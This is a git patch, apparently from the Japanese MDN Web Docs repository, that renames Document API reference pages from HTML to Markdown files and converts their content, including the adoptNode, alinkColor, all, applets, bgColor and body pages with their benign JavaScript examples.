a/files/ja/web/api/document/pointermove_event/index.html b/files/ja/web/api/document/pointermove_event/index.md similarity index 100% rename from files/ja/web/api/document/pointermove_event/index.html rename to files/ja/web/api/document/pointermove_event/index.md diff --git a/files/ja/web/api/document/pointerout_event/index.html b/files/ja/web/api/document/pointerout_event/index.md similarity index 100% rename from files/ja/web/api/document/pointerout_event/index.html rename to files/ja/web/api/document/pointerout_event/index.md diff --git a/files/ja/web/api/document/pointerover_event/index.html b/files/ja/web/api/document/pointerover_event/index.md similarity index 100% rename from files/ja/web/api/document/pointerover_event/index.html rename to files/ja/web/api/document/pointerover_event/index.md diff --git a/files/ja/web/api/document/pointerup_event/index.html b/files/ja/web/api/document/pointerup_event/index.md similarity index 100% rename from files/ja/web/api/document/pointerup_event/index.html rename to files/ja/web/api/document/pointerup_event/index.md diff --git a/files/ja/web/api/document/readystatechange_event/index.html b/files/ja/web/api/document/readystatechange_event/index.md similarity index 100% rename from files/ja/web/api/document/readystatechange_event/index.html rename to files/ja/web/api/document/readystatechange_event/index.md diff --git a/files/ja/web/api/document/referrer/index.html b/files/ja/web/api/document/referrer/index.md similarity index 100% rename from files/ja/web/api/document/referrer/index.html rename to files/ja/web/api/document/referrer/index.md diff --git a/files/ja/web/api/document/scripts/index.html b/files/ja/web/api/document/scripts/index.md similarity index 100% rename from files/ja/web/api/document/scripts/index.html rename to files/ja/web/api/document/scripts/index.md diff --git a/files/ja/web/api/document/scroll_event/index.html b/files/ja/web/api/document/scroll_event/index.md similarity index 100% rename from files/ja/web/api/document/scroll_event/index.html rename to files/ja/web/api/document/scroll_event/index.md diff --git a/files/ja/web/api/document/scrollingelement/index.html b/files/ja/web/api/document/scrollingelement/index.md similarity index 100% rename from files/ja/web/api/document/scrollingelement/index.html rename to files/ja/web/api/document/scrollingelement/index.md diff --git a/files/ja/web/api/document/selectionchange_event/index.html b/files/ja/web/api/document/selectionchange_event/index.md similarity index 100% rename from files/ja/web/api/document/selectionchange_event/index.html rename to files/ja/web/api/document/selectionchange_event/index.md diff --git a/files/ja/web/api/document/selectstart_event/index.html b/files/ja/web/api/document/selectstart_event/index.md similarity index 100% rename from files/ja/web/api/document/selectstart_event/index.html rename to files/ja/web/api/document/selectstart_event/index.md diff --git a/files/ja/web/api/document/stylesheets/index.html b/files/ja/web/api/document/stylesheets/index.md similarity index 100% rename from files/ja/web/api/document/stylesheets/index.html rename to files/ja/web/api/document/stylesheets/index.md diff --git a/files/ja/web/api/document/title/index.html b/files/ja/web/api/document/title/index.md similarity index 100% rename from files/ja/web/api/document/title/index.html rename to files/ja/web/api/document/title/index.md diff --git a/files/ja/web/api/document/tooltipnode/index.html b/files/ja/web/api/document/tooltipnode/index.md similarity index 100% rename from files/ja/web/api/document/tooltipnode/index.html rename to files/ja/web/api/document/tooltipnode/index.md diff --git a/files/ja/web/api/document/touchcancel_event/index.html b/files/ja/web/api/document/touchcancel_event/index.md similarity index 100% rename from files/ja/web/api/document/touchcancel_event/index.html rename to files/ja/web/api/document/touchcancel_event/index.md diff --git a/files/ja/web/api/document/touchend_event/index.html b/files/ja/web/api/document/touchend_event/index.md similarity index 100% rename from files/ja/web/api/document/touchend_event/index.html rename to files/ja/web/api/document/touchend_event/index.md diff --git a/files/ja/web/api/document/touchmove_event/index.html b/files/ja/web/api/document/touchmove_event/index.md similarity index 100% rename from files/ja/web/api/document/touchmove_event/index.html rename to files/ja/web/api/document/touchmove_event/index.md diff --git a/files/ja/web/api/document/touchstart_event/index.html b/files/ja/web/api/document/touchstart_event/index.md similarity index 100% rename from files/ja/web/api/document/touchstart_event/index.html rename to files/ja/web/api/document/touchstart_event/index.md diff --git a/files/ja/web/api/document/url/index.html b/files/ja/web/api/document/url/index.md similarity index 100% rename from files/ja/web/api/document/url/index.html rename to files/ja/web/api/document/url/index.md diff --git a/files/ja/web/api/document/visibilitychange_event/index.html b/files/ja/web/api/document/visibilitychange_event/index.md similarity index 100% rename from files/ja/web/api/document/visibilitychange_event/index.html rename to files/ja/web/api/document/visibilitychange_event/index.md diff --git a/files/ja/web/api/document/visibilitystate/index.html b/files/ja/web/api/document/visibilitystate/index.md similarity index 100% rename from files/ja/web/api/document/visibilitystate/index.html rename to files/ja/web/api/document/visibilitystate/index.md diff --git a/files/ja/web/api/document/vlinkcolor/index.html b/files/ja/web/api/document/vlinkcolor/index.md similarity index 100% rename from files/ja/web/api/document/vlinkcolor/index.html rename to files/ja/web/api/document/vlinkcolor/index.md diff --git a/files/ja/web/api/document/write/index.html b/files/ja/web/api/document/write/index.md similarity index 100% rename from files/ja/web/api/document/write/index.html rename to files/ja/web/api/document/write/index.md diff --git a/files/ja/web/api/document/writeln/index.html b/files/ja/web/api/document/writeln/index.md similarity index 100% rename from files/ja/web/api/document/writeln/index.html rename to files/ja/web/api/document/writeln/index.md From 2b50f726a156b5cf9ffe07413c4dea177d1b816e Mon Sep 17 00:00:00 2001 From: Masahiro FUJIMOTO Date: Fri, 19 Aug 2022 03:58:33 +0900 Subject: [PATCH 2/5] =?UTF-8?q?web/api/document=20=E4=BB=A5=E4=B8=8B?= =?UTF-8?q?=E3=82=92=20md=20=E3=81=AB=E4=B8=80=E6=8B=AC=E5=A4=89=E6=8F=9B?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- files/ja/web/api/document/adoptnode/index.md | 83 ++---- .../afterscriptexecute_event/index.md | 40 ++- files/ja/web/api/document/alinkcolor/index.md | 29 +- files/ja/web/api/document/all/index.md | 44 +-- files/ja/web/api/document/applets/index.md | 57 ++-- files/ja/web/api/document/bgcolor/index.md | 36 +-- files/ja/web/api/document/body/index.md | 86 +++--- .../document/caretpositionfrompoint/index.md | 77 +++-- .../ja/web/api/document/characterset/index.md | 52 ++-- .../api/document/childelementcount/index.md | 37 ++- files/ja/web/api/document/clear/index.md | 23 +- files/ja/web/api/document/close/index.md | 59 ++-- files/ja/web/api/document/compatmode/index.md | 65 ++--- .../ja/web/api/document/contenttype/index.md | 44 +-- files/ja/web/api/document/cookie/index.md | 274 +++++++++--------- files/ja/web/api/document/copy_event/index.md | 83 +++--- .../web/api/document/createcomment/index.md | 60 ++-- .../document/createdocumentfragment/index.md | 101 +++---- .../web/api/document/createelementns/index.md | 137 ++++----- .../ja/web/api/document/createevent/index.md | 88 ++---- .../api/document/createexpression/index.md | 37 ++- .../api/document/createnodeiterator/index.md | 184 ++++-------- .../api/document/creatensresolver/index.md | 64 ++-- .../createprocessinginstruction/index.md | 106 +++---- .../ja/web/api/document/createrange/index.md | 61 ++-- .../web/api/document/createtextnode/index.md | 80 +++-- .../ja/web/api/document/createtouch/index.md | 167 +++++------ .../web/api/document/createtouchlist/index.md | 93 +++--- .../web/api/document/currentscript/index.md | 62 ++-- files/ja/web/api/document/cut_event/index.md | 83 +++--- .../ja/web/api/document/defaultview/index.md | 31 +- files/ja/web/api/document/designmode/index.md | 58 ++-- files/ja/web/api/document/dir/index.md | 44 +-- files/ja/web/api/document/doctype/index.md | 54 ++-- files/ja/web/api/document/document/index.md | 36 +-- .../web/api/document/documentelement/index.md | 62 ++-- .../ja/web/api/document/documenturi/index.md | 81 +++--- .../api/document/documenturiobject/index.md | 30 +- files/ja/web/api/document/domain/index.md | 103 +++---- .../document/domcontentloaded_event/index.md | 174 +++++------ .../api/document/elementsfrompoint/index.md | 117 ++++---- files/ja/web/api/document/embeds/index.md | 40 +-- files/ja/web/api/document/evaluate/index.md | 208 +++++-------- .../web/api/document/exitfullscreen/index.md | 92 +++--- .../web/api/document/exitpointerlock/index.md | 48 ++- .../web/api/document/featurepolicy/index.md | 39 +-- files/ja/web/api/document/fgcolor/index.md | 38 +-- files/ja/web/api/document/fonts/index.md | 56 ++-- files/ja/web/api/document/forms/index.md | 156 +++++----- files/ja/web/api/document/fullscreen/index.md | 89 +++--- .../document/fullscreenchange_event/index.md | 92 +++--- .../api/document/fullscreenelement/index.md | 69 ++--- .../api/document/fullscreenenabled/index.md | 70 ++--- .../document/fullscreenerror_event/index.md | 89 +++--- .../web/api/document/getanimations/index.md | 80 +++-- .../web/api/document/getelementbyid/index.md | 185 ++++++------ .../document/getelementsbyclassname/index.md | 145 ++++----- .../api/document/getelementsbyname/index.md | 121 +++----- .../document/getelementsbytagname/index.md | 162 +++++------ .../document/getelementsbytagnamens/index.md | 156 +++++----- .../ja/web/api/document/getselection/index.md | 56 ++-- files/ja/web/api/document/hasfocus/index.md | 73 ++--- .../api/document/hasstorageaccess/index.md | 42 +-- files/ja/web/api/document/head/index.md | 95 +++--- files/ja/web/api/document/hidden/index.md | 50 ++-- files/ja/web/api/document/images/index.md | 60 ++-- .../web/api/document/implementation/index.md | 55 ++-- .../ja/web/api/document/lastmodified/index.md | 101 +++---- files/ja/web/api/document/linkcolor/index.md | 48 ++- files/ja/web/api/document/links/index.md | 40 ++- files/ja/web/api/document/location/index.md | 65 ++--- .../lostpointercapture_event/index.md | 132 ++++----- files/ja/web/api/document/open/index.md | 115 ++++---- .../ja/web/api/document/paste_event/index.md | 83 +++--- files/ja/web/api/document/plugins/index.md | 47 ++- .../api/document/pointercancel_event/index.md | 142 +++++---- .../api/document/pointerdown_event/index.md | 91 +++--- .../api/document/pointerenter_event/index.md | 109 ++++--- .../api/document/pointerleave_event/index.md | 109 ++++--- .../document/pointerlockchange_event/index.md | 89 +++--- .../api/document/pointerlockelement/index.md | 50 ++-- .../document/pointerlockerror_event/index.md | 91 +++--- .../api/document/pointermove_event/index.md | 109 ++++--- .../api/document/pointerout_event/index.md | 109 ++++--- .../api/document/pointerover_event/index.md | 107 ++++--- .../web/api/document/pointerup_event/index.md | 109 ++++--- .../document/readystatechange_event/index.md | 131 ++++----- files/ja/web/api/document/referrer/index.md | 42 +-- files/ja/web/api/document/scripts/index.md | 57 ++-- .../ja/web/api/document/scroll_event/index.md | 98 +++---- .../api/document/scrollingelement/index.md | 54 +--- .../document/selectionchange_event/index.md | 90 +++--- .../api/document/selectstart_event/index.md | 86 +++--- .../ja/web/api/document/stylesheets/index.md | 48 ++- files/ja/web/api/document/title/index.md | 78 +++-- .../ja/web/api/document/tooltipnode/index.md | 20 +- .../api/document/touchcancel_event/index.md | 60 ++-- .../web/api/document/touchend_event/index.md | 60 ++-- .../web/api/document/touchmove_event/index.md | 77 +++-- .../api/document/touchstart_event/index.md | 60 ++-- files/ja/web/api/document/url/index.md | 80 +++-- .../document/visibilitychange_event/index.md | 88 +++--- .../web/api/document/visibilitystate/index.md | 69 ++--- files/ja/web/api/document/vlinkcolor/index.md | 37 +-- files/ja/web/api/document/write/index.md | 114 +++----- files/ja/web/api/document/writeln/index.md | 61 ++-- 106 files changed, 3750 insertions(+), 4974 deletions(-) diff --git a/files/ja/web/api/document/adoptnode/index.md b/files/ja/web/api/document/adoptnode/index.md index 95ce395289e88b..512d5af06aec82 100644 --- a/files/ja/web/api/document/adoptnode/index.md +++ b/files/ja/web/api/document/adoptnode/index.md @@ -12,83 +12,62 @@ tags: - Reference translation_of: Web/API/Document/adoptNode --- -
{{ ApiRef("DOM") }}
+{{ ApiRef("DOM") }} -

Document.adoptNode() は、{{Glossary("node/dom", "ノード")}}を他の{{domxref("Document", "文書", "", "1")}}からメソッドの文書へ移動します。取り込まれたノードおよびそのサブツリーは (もしあれば) 元の文書から削除され、 {{domxref("Node.ownerDocument", "ownerDocument")}} が現在の文書に変更されます。その後、ノードを現在の文書に挿入することができます。

+**`Document.adoptNode()`** は、{{Glossary("node/dom", "ノード")}}を他の{{domxref("Document", "文書", "", "1")}}からメソッドの文書へ移動します。取り込まれたノードおよびそのサブツリーは (もしあれば) 元の文書から削除され、 {{domxref("Node.ownerDocument", "ownerDocument")}} が現在の文書に変更されます。その後、ノードを現在の文書に挿入することができます。 -

構文

+## 構文 -
const importedNode = document.adoptNode(externalNode);
-
+``` +const importedNode = document.adoptNode(externalNode); +``` -

引数

+### 引数 -
-
externalNode
-
他の文書から取り込まれるノードです。
-
+- `externalNode` + - : 他の文書から取り込まれるノードです。 -

返値

+### 返値 -

インポートする文書のスコープ内にコピーされた importedNode

+インポートする文書のスコープ内にコピーされた `importedNode`。 -

このメソッドを呼び出した後、 importedNode および externalNode は同じオブジェクトになります。

+このメソッドを呼び出した後、 `importedNode` および `externalNode` は同じオブジェクトになります。 -
-

注: importedNode の {{domxref("Node.parentNode")}} は、まだ文書ツリーに挿入されていないので null です。

-
+> **Note:** **注:** `importedNode` の {{domxref("Node.parentNode")}} は、まだ文書ツリーに挿入されていないので `null` です。 -

+## 例 -
const iframe = document.querySelector('iframe');
+```js
+const iframe = document.querySelector('iframe');
 const iframeImages = iframe.contentDocument.querySelectorAll('img');
 const newParent = document.getElementById('images');
 
 iframeImages.forEach(function(imgEl) {
   newParent.appendChild(document.adoptNode(imgEl));
 });
-
+``` -

+## 注 -

外部の文書から取り込まれるノードは、現在の文書に挿入する前に、次のいずれかを実行してください。

+外部の文書から取り込まれるノードは、現在の文書に挿入する前に、次のいずれかを実行してください。 - +- {{domXref("document.importNode()")}} を使用して複製する +- {{domXref("document.adoptNode()")}} を使用して取り込む -
-

ベストプラクティス: Firefox は現在はこの規則を強制しませんが、将来の互換性を向上するためにこの規則に従うことを強くお勧めします。

-
+> **Note:** **ベストプラクティス:** Firefox は現在はこの規則を強制しませんが、将来の互換性を向上するためにこの規則に従うことを強くお勧めします。 -

{{domXref("Node.ownerDocument")}} の問題についての詳細は、 W3C DOM FAQ を参照してください。

+{{domXref("Node.ownerDocument")}} の問題についての詳細は、 W3C DOM FAQ を参照してください。 -

仕様書

+## 仕様書 - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('DOM WHATWG', '#dom-document-adoptnode', 'document.adoptNode')}}{{Spec2('DOM WHATWG')}}
+| 仕様書 | 状態 | 備考 | +| ---------------------------------------------------------------------------------------------------- | -------------------------------- | ---- | +| {{SpecName('DOM WHATWG', '#dom-document-adoptnode', 'document.adoptNode')}} | {{Spec2('DOM WHATWG')}} | | -

ブラウザーの互換性

+## ブラウザーの互換性 -

{{Compat("api.Document.adoptNode")}}

+{{Compat("api.Document.adoptNode")}} -

関連情報

+## 関連情報 - +- {{domxref("document.importNode()")}} diff --git a/files/ja/web/api/document/afterscriptexecute_event/index.md b/files/ja/web/api/document/afterscriptexecute_event/index.md index f8b961ca922e55..51ef6c323ac472 100644 --- a/files/ja/web/api/document/afterscriptexecute_event/index.md +++ b/files/ja/web/api/document/afterscriptexecute_event/index.md @@ -11,41 +11,39 @@ tags: translation_of: Web/API/Document/onafterscriptexecute original_slug: Web/API/Document/onafterscriptexecute --- -
{{ApiRef("DOM")}}{{non-standard_header}}
+{{ApiRef("DOM")}}{{non-standard_header}} -

Document.onafterscriptexecute プロパティは、静的な {{HTMLElement("script")}} 要素のスクリプトの実行が終了したときに呼び出される関数を参照します。要素が {{domxref("Node.appendChild()", "appendChild()")}} などで動的に追加された場合には呼び出されません。

+**`Document.onafterscriptexecute`** プロパティは、静的な {{HTMLElement("script")}} 要素のスクリプトの実行が終了したときに呼び出される関数を参照します。要素が {{domxref("Node.appendChild()", "appendChild()")}} などで動的に追加された場合には呼び出されません。 -

構文

+## 構文 -
document.onafterscriptexecute = funcRef;
-
+``` +document.onafterscriptexecute = funcRef; +``` -

funcRef は関数の参照で、イベントが発行されると呼び出されます。イベントの target 属性が、実行が完了した {{HTMLElement("script")}} 要素に設定されます。

+_funcRef_ は関数の参照で、イベントが発行されると呼び出されます。イベントの `target` 属性が、実行が完了した {{HTMLElement("script")}} 要素に設定されます。 -

+## 例 -
function finished(e) {
+```js
+function finished(e) {
   logMessage(`Finished script with ID: ${e.target.id}`);
 }
 
 document.addEventListener('afterscriptexecute', finished, true);
-
+``` -

ライブ例を表示

+[ライブ例を表示](/samples/html/currentScript.html) -

仕様書

+## 仕様書 - +- [HTML5](http://www.whatwg.org/specs/web-apps/current-work/#the-script-element) -

ブラウザーの対応

+## ブラウザーの対応 -

{{Compat("api.Document.onafterscriptexecute")}}

+{{Compat("api.Document.onafterscriptexecute")}} -

関連情報

+## 関連情報 - +- {{domxref("Document.onbeforescriptexecute")}} +- {{domxref("Document.currentScript")}} diff --git a/files/ja/web/api/document/alinkcolor/index.md b/files/ja/web/api/document/alinkcolor/index.md index 697600c7518bd3..e91a9062c6d370 100644 --- a/files/ja/web/api/document/alinkcolor/index.md +++ b/files/ja/web/api/document/alinkcolor/index.md @@ -11,28 +11,29 @@ tags: - プロパティ translation_of: Web/API/Document/alinkColor --- -
{{APIRef("DOM")}}{{Deprecated_header}}
+{{APIRef("DOM")}}{{Deprecated_header}} -

文書本文のアクティブなリンクの色を取得または設定します。リンクは mousedownmouseup イベントの間にアクティブになります。

+文書本文のアクティブなリンクの色を取得または設定します。リンクは `mousedown` と `mouseup` イベントの間にアクティブになります。 -

構文

+## 構文 -
var color = document.alinkColor;
-document.alinkColor = color;
-
+``` +var color = document.alinkColor; +document.alinkColor = color; +``` -

color は文字列で、色の名前 (blue, darkblue, など) または色の16進値 (#0000FF など) が入ります。

+_color_ は文字列で、色の名前 (`blue`, `darkblue`, など) または色の 16 進値 (`#0000FF` など) が入ります。 -

メモ

+## メモ -

Mozilla Firefox では、このプロパティの既定値は赤 (16進で #ee0000) です。

+Mozilla Firefox では、このプロパティの既定値は赤 (16 進で `#ee0000`) です。 -

document.alinkColorDOM Level 2 HTML で非推奨となっています。代替方法の一つは CSS セレクターの {{Cssxref(":active")}} です。

+`document.alinkColor` は [DOM Level 2 HTML で非推奨](http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-26809268)となっています。代替方法の一つは CSS セレクターの {{Cssxref(":active")}} です。 -

他の代替手段として document.body.alink がありますが、上記の CSS による代替手段が設置されたため HTML 4.01 で非推奨となっています。

+他の代替手段として `document.body.alink` がありますが、上記の CSS による代替手段が設置されたため [HTML 4.01 で非推奨](http://www.w3.org/TR/html401/struct/global.html#adef-text)となっています。 -

GeckoalinkColor/:active および {{Cssxref(":focus")}} の両方に対応しています。 Internet Explorer 6 および 7 は HTML アンカー (<a>) リンクには alinkColor/:active のみに対応しており、 :focus は Gecko と同様に動作します。 IE は :focus には対応していません。

+[Gecko](/ja/docs/Mozilla/Gecko) は `alinkColor`/`:active` および {{Cssxref(":focus")}} の両方に対応しています。 Internet Explorer 6 および 7 は [HTML アンカー (\) リンク](/ja/docs/Web/HTML/Element/a)には `alinkColor`/`:active` のみに対応しており、 `:focus` は Gecko と同様に動作します。 IE は `:focus` には対応していません。 -

ブラウザーの対応

+## ブラウザーの対応 -

{{Compat("api.Document.alinkColor")}}

+{{Compat("api.Document.alinkColor")}} diff --git a/files/ja/web/api/document/all/index.md b/files/ja/web/api/document/all/index.md index eb43f800a3844d..0d389f76294e1a 100644 --- a/files/ja/web/api/document/all/index.md +++ b/files/ja/web/api/document/all/index.md @@ -11,42 +11,30 @@ tags: - all translation_of: Web/API/Document/all --- -
{{APIRef("DOM")}}{{Deprecated_Header("HTML5")}}
+{{APIRef("DOM")}}{{Deprecated_Header("HTML5")}} -

{{DOMxRef("Document")}} インターフェイスの all プロパティは読み取り専用で、 document ノードをルートとした {{DOMxRef("HTMLAllCollection")}} を返します。言い換えれば、文書のすべての要素を、 (配列のように) 順序および (通常のオブジェクトのように) ID でアクセスすることができる形で返します。

+{{DOMxRef("Document")}} インターフェイスの **`all`** プロパティは読み取り専用で、 document ノードをルートとした {{DOMxRef("HTMLAllCollection")}} を返します。言い換えれば、文書のすべての要素を、 (配列のように) 順序および (通常のオブジェクトのように) ID でアクセスすることができる形で返します。 -

構文

+## 構文 -
var htmlAllCollection = document.all;
+``` +var htmlAllCollection = document.all; +``` -

+### 値 -

文書のすべてのノードを含む {{DOMxRef("HTMLAllCollection")}} です。

+文書のすべてのノードを含む {{DOMxRef("HTMLAllCollection")}} です。 -

論理型への変換

+## 論理型への変換 -

document.all は JavaScript からアクセスすることができる唯一の{{Glossary("falsy", "値が偽となる")}}オブジェクトです。これは、[[IsHTMLDDA]] 内部スロットを持つためです。これは、 Internet Explorer の古いバージョンとの互換性のために行われています。これについての詳細な情報は、 StackOverflow のこの回答にあります。

+`document.all` は JavaScript からアクセスすることができる唯一の{{Glossary("falsy", "値が偽となる")}}オブジェクトです。これは、[\[\[IsHTMLDDA\]\] 内部スロット](https://tc39.es/ecma262/#sec-IsHTMLDDA-internal-slot)を持つためです。これは、 Internet Explorer の古いバージョンとの互換性のために行われています。これについての詳細な情報は、 [StackOverflow のこの回答](https://stackoverflow.com/a/62005426)にあります。 -

仕様書

+## 仕様書 - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('HTML WHATWG', '#dom-document-all', 'all')}}{{Spec2('HTML WHATWG')}}初回定義
- 廃止された古い API の節で定義。
+| 仕様書 | 状態 | 備考 | +| ------------------------------------------------------------------------ | -------------------------------- | ---------------------------------------- | +| {{SpecName('HTML WHATWG', '#dom-document-all', 'all')}} | {{Spec2('HTML WHATWG')}} | 初回定義 廃止された古い API の節で定義。 | -

ブラウザーの互換性

+## ブラウザーの互換性 -

{{Compat("api.Document.all")}}

+{{Compat("api.Document.all")}} diff --git a/files/ja/web/api/document/applets/index.md b/files/ja/web/api/document/applets/index.md index be906b9c3b0e04..c8d8c9d922d8ef 100644 --- a/files/ja/web/api/document/applets/index.md +++ b/files/ja/web/api/document/applets/index.md @@ -12,53 +12,36 @@ tags: - プロパティ translation_of: Web/API/Document/applets --- -
{{APIRef("DOM")}}{{deprecated_header}}
+{{APIRef("DOM")}}{{deprecated_header}} -

{{domxref("Document")}} インターフェイスの applets プロパティは、文書内のアプレットのリストを返します。

+{{domxref("Document")}} インターフェイスの **`applets`** プロパティは、文書内のアプレットのリストを返します。 -
-

メモ: {{htmlelement("applet")}} 要素は Gecko 56 および 2015年後期の Chrome から削除されました。それ以来、これらのブラウザーで document.applets を呼び出しても空の {{domxref("HTMLCollection")}} しか返しません。 WebKit および Edge でも削除が検討されています。

-
+> **Note:** **メモ**: {{htmlelement("applet")}} 要素は [Gecko 56](https://bugzilla.mozilla.org/show_bug.cgi?id=1279218) および [2015 年後期の Chrome](https://bugs.chromium.org/p/chromium/issues/detail?id=470301) から削除されました。それ以来、これらのブラウザーで `document.applets` を呼び出しても空の {{domxref("HTMLCollection")}} しか返しません。 [WebKit](https://bugs.webkit.org/show_bug.cgi?id=157926) および [Edge](https://developer.microsoft.com/en-us/microsoft-edge/platform/issues/11946645/) でも削除が検討されています。 -

構文

+## 構文 -
var nodeList = document.applets;
-
+``` +var nodeList = document.applets; +``` -

+### 値 -

{{domxref("HTMLCollection")}}

+{{domxref("HTMLCollection")}} -

+## 例 -
// 2番目のアプレットが取得したいアプレットであると分かっている場合
+```js
+// 2番目のアプレットが取得したいアプレットであると分かっている場合
 my_java_app = document.applets[1];
-
+``` -

仕様書

+## 仕様書 - - - - - - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('HTML WHATWG', '#dom-document-applets', 'Document.applets')}}{{ Spec2('HTML WHATWG') }}廃止
{{SpecName('DOM2 HTML', 'html.html#ID-85113862', 'Document.applets')}}{{ Spec2('DOM2 Events') }}初回定義
+| 仕様書 | 状態 | 備考 | +| ------------------------------------------------------------------------------------------------ | ------------------------------------ | -------- | +| {{SpecName('HTML WHATWG', '#dom-document-applets', 'Document.applets')}} | {{ Spec2('HTML WHATWG') }} | 廃止 | +| {{SpecName('DOM2 HTML', 'html.html#ID-85113862', 'Document.applets')}} | {{ Spec2('DOM2 Events') }} | 初回定義 | -

ブラウザーの対応

+## ブラウザーの対応 -

{{Compat("api.Document.applets")}}

+{{Compat("api.Document.applets")}} diff --git a/files/ja/web/api/document/bgcolor/index.md b/files/ja/web/api/document/bgcolor/index.md index d156c2d6176213..d1712960475539 100644 --- a/files/ja/web/api/document/bgcolor/index.md +++ b/files/ja/web/api/document/bgcolor/index.md @@ -12,33 +12,33 @@ tags: - Reference translation_of: Web/API/Document/bgColor --- -

{{APIRef("DOM")}} {{ Deprecated_header() }}

+{{APIRef("DOM")}} {{ Deprecated_header() }} -

廃止された bgColor プロパティは、現在の文書の背景色を取得または設定します。

+廃止された `bgColor` プロパティは、現在の文書の背景色を取得または設定します。 -

構文

+## 構文 -
color = document.bgColor
-document.bgColor =color
-
+``` +color = document.bgColor +document.bgColor =color +``` -

引数

+### 引数 - +- `color` : 色名 (`"white"` 等) またはカラーコード (`"#FFFFFF"` 等) の文字列 -

+## 例 -
document.bgColor = "darkblue";
-
+``` +document.bgColor = "darkblue"; +``` -

メモ

+## メモ -

Firefox ではこのプロパティの初期値は白 (16進表記で #FFFFFF) となっています。

+Firefox ではこのプロパティの初期値は白 (16 進表記で `#FFFFFF`) となっています。 -

document.bgColorDOM Level 2 HTML で非推奨になっています。推奨される代替方法は、 CSS の {{Cssxref("background-color")}} を使用することで、 document.body.style.backgroundColor で DOM を通してアクセスできます。もう一つの代替手段である document.body.bgColor は、 HTML 4.01 で CSS に代替されたため非推奨となっています。

+`document.bgColor` は [DOM Level 2 HTML](http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-26809268) で非推奨になっています。推奨される代替方法は、 CSS の {{Cssxref("background-color")}} を使用することで、 `document.body.style.backgroundColor` で DOM を通してアクセスできます。もう一つの代替手段である `document.body.bgColor` は、 HTML 4.01 で CSS に代替されたため非推奨となっています。 -

ブラウザーの互換性

+## ブラウザーの互換性 -

{{Compat("api.Document.bgColor")}}

+{{Compat("api.Document.bgColor")}} diff --git a/files/ja/web/api/document/body/index.md b/files/ja/web/api/document/body/index.md index aa390d8653ff9b..8dfd953e225955 100644 --- a/files/ja/web/api/document/body/index.md +++ b/files/ja/web/api/document/body/index.md @@ -10,18 +10,21 @@ tags: - プロパティ translation_of: Web/API/Document/body --- -
{{APIRef("DOM")}}
+{{APIRef("DOM")}} -

Document.body プロパティは、その文書の {{HTMLElement("body")}} または {{HTMLElement("frameset")}} ノードを表し、そのような要素がなければ null になります。

+**`Document.body`** プロパティは、その文書の {{HTMLElement("body")}} または {{HTMLElement("frameset")}} ノードを表し、そのような要素がなければ `null` になります。 -

構文

+## 構文 -
const objRef = document.body
-document.body = objRef
+``` +const objRef = document.body +document.body = objRef +``` -

+## 例 -
// Given this HTML: <body id="oldBodyElement"></body>
+```js
+// Given this HTML: 
 alert(document.body.id); // "oldBodyElement"
 
 const aNewBodyElement = document.createElement("body");
@@ -29,49 +32,26 @@ const aNewBodyElement = document.createElement("body");
 aNewBodyElement.id = "newBodyElement";
 document.body = aNewBodyElement;
 alert(document.body.id); // "newBodyElement"
-
- -

- -

document.body は文書の内容を持つ要素です。 <body> の内容を持つ文書では <body> 要素を返し、フレームセット文書では、これは最も外側の <frameset> 要素を返します。

- -

body プロパティは設定が可能ですが、文書に新しい body を設定すると、既存の <body> 要素の子ノードは全て削除されます。

- -

仕様書

- - - - - - - - - - - - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('HTML WHATWG','dom.html#dom-document-body','Document.body')}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5.1','dom.html#dom-document-body','Document.body')}}{{Spec2('HTML5.1')}}
{{SpecName('HTML5 W3C','dom.html#dom-document-body','Document.body')}}{{Spec2('HTML5 W3C')}}
- -

ブラウザーの互換性

- -
{{Compat("api.Document.body")}}
- -

関連情報

- - +``` + +## 注 + +`document.body` は文書の内容を持つ要素です。 `` の内容を持つ文書では `` 要素を返し、フレームセット文書では、これは最も外側の `` 要素を返します。 + +`body` プロパティは設定が可能ですが、文書に新しい `body` を設定すると、既存の `` 要素の子ノードは全て削除されます。 + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| ------------------------------------------------------------------------------------------------ | -------------------------------- | ---- | +| {{SpecName('HTML WHATWG','dom.html#dom-document-body','Document.body')}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML5.1','dom.html#dom-document-body','Document.body')}} | {{Spec2('HTML5.1')}} | | +| {{SpecName('HTML5 W3C','dom.html#dom-document-body','Document.body')}} | {{Spec2('HTML5 W3C')}} | | + +## ブラウザーの互換性 + +{{Compat("api.Document.body")}} + +## 関連情報 + +- {{domxref("document.head")}} diff --git a/files/ja/web/api/document/caretpositionfrompoint/index.md b/files/ja/web/api/document/caretpositionfrompoint/index.md index d4095dcc74a675..4f80c6aa66e744 100644 --- a/files/ja/web/api/document/caretpositionfrompoint/index.md +++ b/files/ja/web/api/document/caretpositionfrompoint/index.md @@ -12,45 +12,48 @@ tags: translation_of: Web/API/DocumentOrShadowRoot/caretPositionFromPoint original_slug: Web/API/DocumentOrShadowRoot/caretPositionFromPoint --- -

{{APIRef("CSSOM View")}}{{SeeCompatTable}}

+{{APIRef("CSSOM View")}}{{SeeCompatTable}} -

{{domxref("DocumentOrShadowRoot")}} インターフェイスの caretPositionFromPoint() プロパティは、 DOM ノードを含む {{domxref('CaretPosition')}} オブジェクトを、そのノード内のキャレットとキャレットの文字オフセットと共に返します。

+{{domxref("DocumentOrShadowRoot")}} インターフェイスの **`caretPositionFromPoint()`** プロパティは、 DOM ノードを含む {{domxref('CaretPosition')}} オブジェクトを、そのノード内のキャレットとキャレットの文字オフセットと共に返します。 -

構文

+## 構文 -
var caretPosition = document.caretPositionFromPoint(float x, float y);
+``` +var caretPosition = document.caretPositionFromPoint(float x, float y); +``` -

パラメータ

+### パラメータ -
-
x
-
ポイントの水平座標。
-
y
-
ポイントの垂直座標。
-
+- `x` + - : ポイントの水平座標。 +- `y` + - : ポイントの垂直座標。 -

返り値

+### 返り値 -

{{domxref('CaretPosition')}} オブジェクト。

+{{domxref('CaretPosition')}} オブジェクト。 -

+## 例 -

この例では、クリックした場所に改行を挿入します。そのコードはデモの下にあります。

+この例では、クリックした場所に改行を挿入します。そのコードはデモの下にあります。 -

